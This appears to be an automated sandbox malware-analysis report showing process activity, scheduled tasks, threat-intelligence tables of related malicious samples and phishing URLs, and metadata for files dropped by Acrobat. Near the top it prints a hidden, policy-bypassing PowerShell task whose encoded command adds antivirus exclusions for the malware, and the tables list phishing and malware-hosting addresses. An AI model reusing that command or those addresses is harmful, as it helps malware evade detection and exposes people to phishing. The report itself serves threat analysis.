07:28:07	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
07:28:31	API Interceptor	76x Sleep call for process: Token.exe modified
07:28:34	API Interceptor	23x Sleep call for process: powershell.exe modified
07:29:04	API Interceptor	1x Sleep call for process: Acrobat.exe modified
13:28:30	Task Scheduler	Run new task: heplvh path: powershell.exe s>-ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==
13:28:31	Task Scheduler	Run new task: Token path: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
91.134.10.168	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse
	https://rnicrosoft-secured-office.squarespace.com/sharepoint?e=test@test.com.au	Get hash	malicious	HTMLPhisher	Browse
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
i.ibb.co	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse	91.134.10.168
	https://rnicrosoft-secured-office.squarespace.com/sharepoint?e=test@test.com.au	Get hash	malicious	HTMLPhisher	Browse	91.134.82.79
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	91.134.9.160
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	91.134.9.160
	https://citiscapegroupae-my.sharepoint.com/:li:/g/personal/asekhar_citiscapegroup_com/E9U24ACMrctKoLKfReMWVjMBfxodtw3c4oUIHo4oyReVhg?e=SgIv5D&xsdata=MDV8MDJ8ZGVyZWsuZGVscG9ydEBvbnRoZWRvdC5jby56YXw5ZWEzNzFkNDdmNTM0YzE2Yjg5YTA4ZGQwZTAwZjY1OXwxMGRjN2M5NjU5NzY0NjAxODgyYzlhYzdjMjg3MGVjY3wxfDB8NjM4NjgyMTE5NTE1MDk3NDExfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=S3JqYzUxeUd4SmtWMEVWUzBMU3JUREpWTEJiN3VmeFVrY09ucElOZDRzaz0%3d	Get hash	malicious	HTMLPhisher	Browse	91.134.10.127
	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse	91.134.82.79
	https://trimmer.to:443/GWHMY	Get hash	malicious	HTMLPhisher	Browse	162.19.58.157
	2024101221359RemitanceAdvice..pdf	Get hash	malicious	HTMLPhisher	Browse	162.19.58.161
	https://customization-connect-7617.my.salesforce.com/sfc/p/d3000000Byor/a/d300000000RR/ML8ajzoJU6aJIvGQZGZ6S9rRHpaD1XaytKzcNGEf56g	Get hash	malicious	HTMLPhisher	Browse	169.197.85.95
	https://berg.bergssrom.mom/fer.to.php.html	Get hash	malicious	Unknown	Browse	162.19.58.161
bg.microsoft.map.fastly.net	XNizDtIArJ.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	jCpeLqH5mZ.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	rcNDmdah2W.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	HzZkjxWF3j.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	cGYA93A1qC.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	Rage.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	SLNA_Updated_Medical_Grant_Application(1).docx	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172
	AsyncClient.exe	Get hash	malicious	AsyncRAT, HVNC, PureLog Stealer	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse	91.134.10.168
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse	149.56.240.132
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse	149.56.240.132
	boleto.exe	Get hash	malicious	XWorm	Browse	158.69.12.143
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	137.74.5.14
	http://ebaumsworld.com	Get hash	malicious	Unknown	Browse	51.75.86.98
	https://link.edgepilot.com/s/f30932b1/vPPKRjWXhUuvPsJT0zGKsQ?u=https://lf7oxrhbb.cc.rs6.net/tn.jsp?f=001h06J4Rg18suvxSEI1tED4DAF8iRuyxY1F6LaYcn7sb4iX7GBolUHc7ee-KUx3ocXE9JkVShRAfV1x6aenzzKcDmVc2_grDROu5C380NMdm5zgykpeK24RW4ydxOZY-zzWGqXDAcSMsLIRx7mTviOEg==%26c=rtZvyEmdrWl6DZ9XsciJKGlh47UQUNn-J3NXlYUvzX0mHT2yPp0J7g==%26ch=pbMEYYEPfkmXeu_oUdJD2iMHpz6dLW5FEUtMz_fcwAIrF1HSqrYuCA==%26__=wp-admin/wp/2XWV/Dcndx/c3Njb3R0QGRjbmR4LmNvbQ=%3D	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	198.27.109.55
	zZ8OdFfZnb.exe	Get hash	malicious	Unknown	Browse	158.69.63.42
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	147.135.166.53
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	147.135.166.53

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse	91.134.10.168
	888.exe	Get hash	malicious	Luca Stealer	Browse	91.134.10.168
	888.exe	Get hash	malicious	Luca Stealer	Browse	91.134.10.168
	https://opof.utackhepr.com/WE76L1u/	Get hash	malicious	Unknown	Browse	91.134.10.168
	taskhost.exe	Get hash	malicious	XWorm	Browse	91.134.10.168
	XClient.exe	Get hash	malicious	XWorm	Browse	91.134.10.168
	Loader.exe	Get hash	malicious	Quasar	Browse	91.134.10.168
	smb.ps1	Get hash	malicious	Xmrig	Browse	91.134.10.168
	j87MOFviv4.lnk	Get hash	malicious	Unknown	Browse	91.134.10.168
	DvGZE4FU02.lnk	Get hash	malicious	Unknown	Browse	91.134.10.168

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2981361107948395
Encrypted:	false
SSDEEP:	6:7actfN+q2PFi2nKuAl9OmbnIFUt8OactWFZZmw+OactWFNVkwOFi2nKuAl9Ombjd:7NOvdZHAahFUt8ONsX/+ONsF5wZHAaSJ
MD5:	E87731EF91B8E25730084ADC49DC51D3
SHA1:	848CD47AF2A5357FA88D0BBF1D70466EE88A1E8C
SHA-256:	BB5C7E7FB3DE407A33765DD3E7B6B95EE7E88B61B3D8CDDCE8F3679603ECC0B0
SHA-512:	FD8D1CADAA361D37D6B24998C86CCE5C2DA771ACCDCF838F15109C5A33CC57C1F7E82EF111194CD4102A92792718D56AE558DB69097AF72CCB7E688CCBE55BC3
Malicious:	false
Reputation:	low
Preview:	2024/12/13-07:27:55.996 4b8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/13-07:27:55.999 4b8 Recovering log #3.2024/12/13-07:27:55.999 4b8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2981361107948395
Encrypted:	false
SSDEEP:	6:7actfN+q2PFi2nKuAl9OmbnIFUt8OactWFZZmw+OactWFNVkwOFi2nKuAl9Ombjd:7NOvdZHAahFUt8ONsX/+ONsF5wZHAaSJ
MD5:	E87731EF91B8E25730084ADC49DC51D3
SHA1:	848CD47AF2A5357FA88D0BBF1D70466EE88A1E8C
SHA-256:	BB5C7E7FB3DE407A33765DD3E7B6B95EE7E88B61B3D8CDDCE8F3679603ECC0B0
SHA-512:	FD8D1CADAA361D37D6B24998C86CCE5C2DA771ACCDCF838F15109C5A33CC57C1F7E82EF111194CD4102A92792718D56AE558DB69097AF72CCB7E688CCBE55BC3
Malicious:	false
Reputation:	low
Preview:	2024/12/13-07:27:55.996 4b8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/13-07:27:55.999 4b8 Recovering log #3.2024/12/13-07:27:55.999 4b8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.209734397489004
Encrypted:	false
SSDEEP:	6:7aQnfQyq2PFi2nKuAl9Ombzo2jMGIFUt8OaQ0/G1Zmw+Oam+AQRkwOFi2nKuAl97:7R4yvdZHAa8uFUt8ORN/+Oi1R5wZHAaU
MD5:	0C98BDF80B63E0F118450CF8DC43C0DA
SHA1:	98A1946C1B8461AF54823B756D929E53A661451E
SHA-256:	0B211AF511CFF37072F111D17A7ACED5DE996945DAB1ABAB4BBAD9B4D1177F48
SHA-512:	695D4D21038C2E4E64894C5954B2C3CCCDA38E1F1915AC4D7BEB97222593EB54EA510FE831D251BEFA70F173F8506FD475E8D94F55683EC0E3A295BF6DDFFD64
Malicious:	false
Preview:	2024/12/13-07:27:56.098 b10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/13-07:27:56.099 b10 Recovering log #3.2024/12/13-07:27:56.100 b10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.209734397489004
Encrypted:	false
SSDEEP:	6:7aQnfQyq2PFi2nKuAl9Ombzo2jMGIFUt8OaQ0/G1Zmw+Oam+AQRkwOFi2nKuAl97:7R4yvdZHAa8uFUt8ORN/+Oi1R5wZHAaU
MD5:	0C98BDF80B63E0F118450CF8DC43C0DA
SHA1:	98A1946C1B8461AF54823B756D929E53A661451E
SHA-256:	0B211AF511CFF37072F111D17A7ACED5DE996945DAB1ABAB4BBAD9B4D1177F48
SHA-512:	695D4D21038C2E4E64894C5954B2C3CCCDA38E1F1915AC4D7BEB97222593EB54EA510FE831D251BEFA70F173F8506FD475E8D94F55683EC0E3A295BF6DDFFD64
Malicious:	false
Preview:	2024/12/13-07:27:56.098 b10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/13-07:27:56.099 b10 Recovering log #3.2024/12/13-07:27:56.100 b10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3a7036a6-841f-4484-8544-8baeef69904f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6a2ec7e0-55fe-479b-83b3-55066cc84cc9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.973973222440336
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvSsBdOg2HeZcaq3QYiubpP7E4TX:Y2sRds+dMHD3QYhbd7n7
MD5:	8FD2DF06548C8C6F76D0C2F32DF9841F
SHA1:	A1E60D5FD92926550CD4829B6BF4876BE1221394
SHA-256:	AC9BF6AC40B9E53AD4EC7349DDD83C78828FE8F1E8AF70D3EAEC2AC223C218F1
SHA-512:	423EB98536194E78B2A7A5C71D14AE3016F0269770036FA89D07FFDC14E8B35FEE079723AED7D0AFEF3A8E08647FD7F0D5E07D85C3852E411206D75C19A02925
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378652885041412","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":626712},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6cc42d.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.229681848254598
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVgjWzjW7y:wshFT0h7cZb2EVKZPEANcGIK5EVqWzjf
MD5:	EBBB8C8E42F65625B4F0B1F35394FD60
SHA1:	83C9259E7AA69CDB95C8D0379E7563D16790FE9D
SHA-256:	144A78F763123DF3D3F83B6899F22000BC57894A3B4D1D1EF900B0E542FB20A1
SHA-512:	2F00F697A8A5473409FA5B8848D09A17DD616B52CBFC70FAEF86C62F0EBACA4CE9F442E4C5DEA60D9EF8BF1C44A271549E36832061B3D621E0C054BF39475F57
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.215321498561134
Encrypted:	false
SSDEEP:	6:7a+Qyq2PFi2nKuAl9OmbzNMxIFUt8OaANAG1Zmw+OaVSQRkwOFi2nKuAl9OmbzNq:7cyvdZHAa8jFUt8OzNJ/+OejR5wZHAab
MD5:	34378A8A2D8089471BCFAC6CB7DE463E
SHA1:	1F9003CB8513A2D451688767484690D827FD0234
SHA-256:	55CAE8D2DF7532AA51558806F67C9428D07F22F1DD656A9EE41DD676B59237C2
SHA-512:	9E428E71D651A6C91103DF54397A0B84A6B58CD475DDCA454F4A028D575802406F391994DC8AFCA3E4E8ED1563B2163967A2BDE78042C2D7BD6D6742326F4DD0
Malicious:	false
Preview:	2024/12/13-07:27:56.801 b10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/13-07:27:56.802 b10 Recovering log #3.2024/12/13-07:27:56.803 b10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.215321498561134
Encrypted:	false
SSDEEP:	6:7a+Qyq2PFi2nKuAl9OmbzNMxIFUt8OaANAG1Zmw+OaVSQRkwOFi2nKuAl9OmbzNq:7cyvdZHAa8jFUt8OzNJ/+OejR5wZHAab
MD5:	34378A8A2D8089471BCFAC6CB7DE463E
SHA1:	1F9003CB8513A2D451688767484690D827FD0234
SHA-256:	55CAE8D2DF7532AA51558806F67C9428D07F22F1DD656A9EE41DD676B59237C2
SHA-512:	9E428E71D651A6C91103DF54397A0B84A6B58CD475DDCA454F4A028D575802406F391994DC8AFCA3E4E8ED1563B2163967A2BDE78042C2D7BD6D6742326F4DD0
Malicious:	false
Preview:	2024/12/13-07:27:56.801 b10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/13-07:27:56.802 b10 Recovering log #3.2024/12/13-07:27:56.803 b10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241213122801Z-204.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	0.8437626046465777
Encrypted:	false
SSDEEP:	96:ZM9B+OjNXzmpMD3ZuQqBUvsUO1dPOM/McQMBcgHQBCSiQ:cIBtPnFQ
MD5:	5FAFBAB362AC54909C754178676B1C4F
SHA1:	B78B38FD8B738FC0FD6EA34C144B6749839483FB
SHA-256:	59D5393FB1EB6D4FA4286DAC5F42DE07BAFD751E0B0267C84577A1C9D1863FB9
SHA-512:	294449C151F439E1066145427537BDAC2310CB9AA49E4EC80DE2FA7D60CB06B0D2CBBF16F70A3442DAFBD0B650753A2E1599DB40CBD72F8EA538D6E34E0AC2B1
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438722679398648
Encrypted:	false
SSDEEP:	384:yejci5GQiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:08urVgazUpUTTGt
MD5:	A9ADBDB23ED781E48C27BD347FBED3FF
SHA1:	C5CDE412D79334BC3F5F4B7E8F8926611594B369
SHA-256:	E708113661D12459B7F6AC36282F5149B6DD596EA83C096A4F4ABB875E90525F
SHA-512:	743B1896EAD72C2089F93B67AD20772F8E0CA2C02C140068059774E9653E7BF95690E451AA2118C5C864835E15C3A8870C3A92F7795F5923C6CEC3DD81F474B5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7724275403694594
Encrypted:	false
SSDEEP:	48:7Mfp/E2ioyViioy5oWoy1CUoy1qKOioy1noy1AYoy1Wioy1hioybioykoy1noy1l:7gpjuiJBXKQtfb9IVXEBodRBkF
MD5:	547235D1EF85AAAC582B3F078F00C075
SHA1:	A91B769D84C4D02A468FC9CCCCDA8D1986BE35AF
SHA-256:	3C7CA6632C27F61D589120B7A9A63654307F38530DAC84510AA19F9461CA0AED
SHA-512:	F88C80E60CC962B7D008AEE862DB83A4E8B709D5147B414838EE818F4A6ED04B9339790C99D52585D3F472564EF445D13630DCADF777C8268996217D33318313
Malicious:	false
Preview:	.... .c......IR................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
